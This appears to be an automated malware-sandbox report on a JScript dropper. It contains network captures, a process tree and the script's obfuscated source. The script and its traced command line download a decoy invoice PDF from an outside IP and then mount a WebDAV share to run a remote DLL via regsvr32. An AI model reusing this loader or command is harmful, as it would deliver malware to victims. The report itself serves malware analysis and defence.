Jan 10, 2025 17:32:01.538815975 CET	1.1.1.1	192.168.2.11	0xfb7d	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:32:23.319072962 CET	1.1.1.1	192.168.2.11	0xaf15	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:32:23.319072962 CET	1.1.1.1	192.168.2.11	0xaf15	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:32:23.319072962 CET	1.1.1.1	192.168.2.11	0xaf15	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:32:23.319072962 CET	1.1.1.1	192.168.2.11	0xaf15	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:32:23.319072962 CET	1.1.1.1	192.168.2.11	0xaf15	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:32:23.319072962 CET	1.1.1.1	192.168.2.11	0xaf15	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:32:23.319072962 CET	1.1.1.1	192.168.2.11	0xaf15	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:32:23.319072962 CET	1.1.1.1	192.168.2.11	0xaf15	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:32:23.319072962 CET	1.1.1.1	192.168.2.11	0xaf15	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:32:23.567364931 CET	1.1.1.1	192.168.2.11	0x6654	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:32:37.672919035 CET	1.1.1.1	192.168.2.11	0x999	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:32:52.374386072 CET	1.1.1.1	192.168.2.11	0xe8d1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49778	193.143.1.205	80	7620	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:32:13.167252064 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:32:13.977382898 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:32:13 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 17:32:13.977442026 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 17:32:13.977452993 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 17:32:13.977463961 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 17:32:13.977482080 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 17:32:13.977494001 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 17:32:13.977523088 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 17:32:13.977534056 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 17:32:13.977545977 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 17:32:13.977559090 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 17:32:13.982424974 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49794	193.143.1.205	8888	7948	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:32:15.489928961 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:32:16.250634909 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:32:16 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	11:32:05
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\334130052300215064.js"
Imagebase:	0x7ff607b60000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:32:05
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll
Imagebase:	0x7ff670c00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:32:05
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:32:06
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:32:14
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff688b00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:32:14
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff670c00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:32:14
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7536a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:32:15
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:32:16
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:32:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1368,i,865833202522912382,8283043950893264980,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function qxjdjps() {	qxjdjps() ➔ undefined
1	phmqot = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kochxo = this[safmqaus + qipjrqg + svthe + rwdcxy + riddoqrra + wcooxcpus + jqbfeaehd + vabyw] ( this[axsvj + yfmeidzxz + zzewicq + svthe + mcitr + safmqaus + vabyw][fbnkrclx + svthe + riddoqrra + qipjrqg + vabyw + riddoqrra + yfqqus + hlboobyrf + xlrjku + riddoqrra + zzewicq + vabyw] ( axsvj + yfmeidzxz + zzewicq + svthe + mcitr + safmqaus + vabyw + irzynrmqg + yfmeidzxz + qwpttdnx + riddoqrra + pwyley + pwyley ) [uvmdcuuvg + riddoqrra + dwizms + uvmdcuuvg + riddoqrra + qipjrqg + sgbxd] ( fvqfh + cxpdhew + dmlapl + wdfmvg + lqoxgowp + fbnkrclx + zfmacn + uvmdcuuvg + uvmdcuuvg + dmlapl + vghvghl + nbmjo + lqoxgowp + zfmacn + yfmeidzxz + dmlapl + uvmdcuuvg + ztnwnqpvb + fbnkrclx + hddzq + jqbfeaehd + vabyw + svthe + hddzq + pwyley + vwuoqalz + guifl + qipjrqg + jqbfeaehd + riddoqrra + pwyley + ztnwnqpvb + wcooxcpus + jqbfeaehd + vabyw + riddoqrra + svthe + jqbfeaehd + qipjrqg + vabyw + mcitr + hddzq + jqbfeaehd + qipjrqg + pwyley + ztnwnqpvb + vkaum + hddzq + zzewicq + qipjrqg + pwyley + riddoqrra ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( cluzeqjqg = 0 ; cluzeqjqg < phmqot[pwyley + riddoqrra + jqbfeaehd + dwizms + vabyw + qwpttdnx] ; ++ cluzeqjqg )
4	{
5	if ( kochxo == phmqot[cluzeqjqg] )
6	{
7	kochxo = true;
8	break ;
9	}
10	}
11	if ( kochxo !== true )
12	this[axsvj + yfmeidzxz + zzewicq + svthe + mcitr + safmqaus + vabyw][lfaqylt + rrwuasior + mcitr + vabyw] ( );
13	this[axsvj + yfmeidzxz + zzewicq + svthe + mcitr + safmqaus + vabyw][fbnkrclx + svthe + riddoqrra + qipjrqg + vabyw + riddoqrra + yfqqus + hlboobyrf + xlrjku + riddoqrra + zzewicq + vabyw] ( axsvj + yfmeidzxz + zzewicq + svthe + mcitr + safmqaus + vabyw + irzynrmqg + yfmeidzxz + qwpttdnx + riddoqrra + pwyley + pwyley ) [svthe + rrwuasior + jqbfeaehd] ( zzewicq + xxhtodea + sgbxd + vwuoqalz + ufhtrxi + zzewicq + vwuoqalz + safmqaus + hddzq + fdkklpnw + riddoqrra + svthe + rwdcxy + qwpttdnx + riddoqrra + pwyley + pwyley + irzynrmqg + riddoqrra + fxsqcyqj + riddoqrra + vwuoqalz + vpcos + fbnkrclx + hddzq + xxhtodea + xxhtodea + qipjrqg + jqbfeaehd + sgbxd + vwuoqalz + hskjznfwj + wcooxcpus + jqbfeaehd + ryjikqs + hddzq + xetwmywgm + riddoqrra + vpcos + axsvj + riddoqrra + hlboobyrf + uvmdcuuvg + riddoqrra + tbrhwnkek + rrwuasior + riddoqrra + rwdcxy + vabyw + vwuoqalz + vpcos + yfqqus + rrwuasior + vabyw + igwoifszw + mcitr + pwyley + riddoqrra + vwuoqalz + foyyg + vabyw + riddoqrra + xxhtodea + safmqaus + foyyg + ztnwnqpvb + mcitr + jqbfeaehd + ryjikqs + hddzq + mcitr + zzewicq + riddoqrra + irzynrmqg + safmqaus + sgbxd + ndlgztq + vwuoqalz + qwpttdnx + vabyw + vabyw + safmqaus + bxvwaf + ufhtrxi + ufhtrxi + qcpunmpz + ibkbp + hgyxssbd + irzynrmqg + qcpunmpz + cjnyf + hgyxssbd + irzynrmqg + qcpunmpz + irzynrmqg + yvwbq + qzgxcd + uegpbvd + ufhtrxi + mcitr + jqbfeaehd + ryjikqs + hddzq + mcitr + zzewicq + riddoqrra + irzynrmqg + safmqaus + qwpttdnx + safmqaus + hskjznfwj + ctfknddj + ctfknddj + rwdcxy + vabyw + qipjrqg + svthe + vabyw + vwuoqalz + foyyg + vabyw + riddoqrra + xxhtodea + safmqaus + foyyg + ztnwnqpvb + mcitr + jqbfeaehd + ryjikqs + hddzq + mcitr + zzewicq + riddoqrra + irzynrmqg + safmqaus + sgbxd + ndlgztq + ctfknddj + ctfknddj + zzewicq + xxhtodea + sgbxd + vwuoqalz + ufhtrxi + zzewicq + vwuoqalz + jqbfeaehd + riddoqrra + vabyw + vwuoqalz + rrwuasior + rwdcxy + riddoqrra + vwuoqalz + ztnwnqpvb + ztnwnqpvb + qcpunmpz + ibkbp + hgyxssbd + irzynrmqg + qcpunmpz + cjnyf + hgyxssbd + irzynrmqg + qcpunmpz + irzynrmqg + yvwbq + qzgxcd + uegpbvd + gpgeve + ifzyuwhee + ifzyuwhee + ifzyuwhee + ifzyuwhee + ztnwnqpvb + sgbxd + qipjrqg + ryjikqs + fdkklpnw + fdkklpnw + fdkklpnw + svthe + hddzq + hddzq + vabyw + ztnwnqpvb + ctfknddj + ctfknddj + zzewicq + xxhtodea + sgbxd + vwuoqalz + ufhtrxi + zzewicq + vwuoqalz + svthe + riddoqrra + dwizms + rwdcxy + ryjikqs + svthe + hgyxssbd + yvwbq + vwuoqalz + ufhtrxi + rwdcxy + vwuoqalz + ztnwnqpvb + ztnwnqpvb + qcpunmpz + ibkbp + hgyxssbd + irzynrmqg + qcpunmpz + cjnyf + hgyxssbd + irzynrmqg + qcpunmpz + irzynrmqg + yvwbq + qzgxcd + uegpbvd + gpgeve + ifzyuwhee + ifzyuwhee + ifzyuwhee + ifzyuwhee + ztnwnqpvb + sgbxd + qipjrqg + ryjikqs + fdkklpnw + fdkklpnw + fdkklpnw + svthe + hddzq + hddzq + vabyw + ztnwnqpvb + qcpunmpz + qcpunmpz + ifzyuwhee + lrsdt + uegpbvd + qcpunmpz + ibkbp + uegpbvd + qzgxcd + cjnyf + qcpunmpz + hgyxssbd + ifzyuwhee + okqcsdh + okqcsdh + irzynrmqg + sgbxd + pwyley + pwyley, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll",0,false) ➔ 0
14	}
15	vwuoqalz = "d";
16	vwuoqalz = "M";
17	vwuoqalz = "B";
18	vwuoqalz = "p";
19	vwuoqalz = "X";
20	vwuoqalz = "h";
21	vwuoqalz = "d";
22	vwuoqalz = "C";
23	vwuoqalz = "Y";
24	vwuoqalz = "B";
25	vwuoqalz = "r";
26	vwuoqalz = "V";
27	vwuoqalz = "Y";
28	vwuoqalz = "s";
29	vwuoqalz = "q";
30	vwuoqalz = "t";
31	vwuoqalz = "o";
32	vwuoqalz = "E";
33	vwuoqalz = "l";
34	vwuoqalz = "K";
35	vwuoqalz = "V";
36	vwuoqalz = "k";
37	vwuoqalz = "I";
38	vwuoqalz = "G";
39	vwuoqalz = "f";
40	vwuoqalz = "l";
41	vwuoqalz = "l";
42	vwuoqalz = "k";
43	vwuoqalz = " ";
44	hskjznfwj = "P";
45	hskjznfwj = "S";
46	hskjznfwj = "K";
47	hskjznfwj = "Z";
48	hskjznfwj = "a";
49	hskjznfwj = "G";
50	hskjznfwj = "H";
51	hskjznfwj = "E";
52	hskjznfwj = "P";
53	hskjznfwj = "Z";
54	hskjznfwj = "w";
55	hskjznfwj = "b";
56	hskjznfwj = "G";
57	hskjznfwj = "v";
58	hskjznfwj = "\"";
59	ifzyuwhee = "u";
60	ifzyuwhee = "t";
61	ifzyuwhee = "Y";
62	ifzyuwhee = "Q";
63	ifzyuwhee = "o";
64	ifzyuwhee = "j";
65	ifzyuwhee = "t";
66	ifzyuwhee = "P";
67	ifzyuwhee = "j";
68	ifzyuwhee = "w";
69	ifzyuwhee = "8";
70	igwoifszw = "H";
71	igwoifszw = "Z";
72	igwoifszw = "K";
73	igwoifszw = "o";
74	igwoifszw = "K";
75	igwoifszw = "f";
76	igwoifszw = "N";
77	igwoifszw = "k";
78	igwoifszw = "z";
79	igwoifszw = "B";
80	igwoifszw = "W";
81	igwoifszw = "m";
82	igwoifszw = "q";
83	igwoifszw = "H";
84	igwoifszw = "w";
85	igwoifszw = "z";
86	igwoifszw = "k";
87	igwoifszw = "i";
88	igwoifszw = "f";
89	igwoifszw = "F";
90	pwyley = "e";
91	pwyley = "L";
92	pwyley = "i";
93	pwyley = "r";
94	pwyley = "f";
95	pwyley = "H";
96	pwyley = "d";
97	pwyley = "L";
98	pwyley = "k";
99	pwyley = "C";
100	pwyley = "V";
101	pwyley = "Q";
102	pwyley = "E";
103	pwyley = "H";
104	pwyley = "K";
105	pwyley = "c";
106	pwyley = "x";
107	pwyley = "c";
108	pwyley = "T";
109	pwyley = "h";
110	pwyley = "C";
111	pwyley = "C";
112	pwyley = "K";
113	pwyley = "l";
114	pwyley = "J";
115	pwyley = "E";
116	pwyley = "D";
117	pwyley = "a";
118	pwyley = "u";
119	pwyley = "p";
120	pwyley = "l";
121	riddoqrra = "y";
122	riddoqrra = "U";
123	riddoqrra = "o";
124	riddoqrra = "X";
125	riddoqrra = "P";
126	riddoqrra = "F";
127	riddoqrra = "k";
128	riddoqrra = "e";
129	mcitr = "q";
130	mcitr = "w";
131	mcitr = "y";
132	mcitr = "B";
133	mcitr = "l";
134	mcitr = "v";
135	mcitr = "M";
136	mcitr = "q";
137	mcitr = "f";
138	mcitr = "v";
139	mcitr = "k";
140	mcitr = "t";
141	mcitr = "m";
142	mcitr = "t";
143	mcitr = "p";
144	mcitr = "H";
145	mcitr = "n";
146	mcitr = "f";
147	mcitr = "G";
148	mcitr = "i";
149	mcitr = "Q";
150	mcitr = "I";
151	mcitr = "w";
152	mcitr = "U";
153	mcitr = "r";
154	mcitr = "e";
155	mcitr = "L";
156	mcitr = "C";
157	mcitr = "s";
158	mcitr = "e";
159	mcitr = "Q";
160	mcitr = "i";
161	cjnyf = "Y";
162	cjnyf = "h";
163	cjnyf = "S";
164	cjnyf = "F";
165	cjnyf = "V";
166	cjnyf = "K";
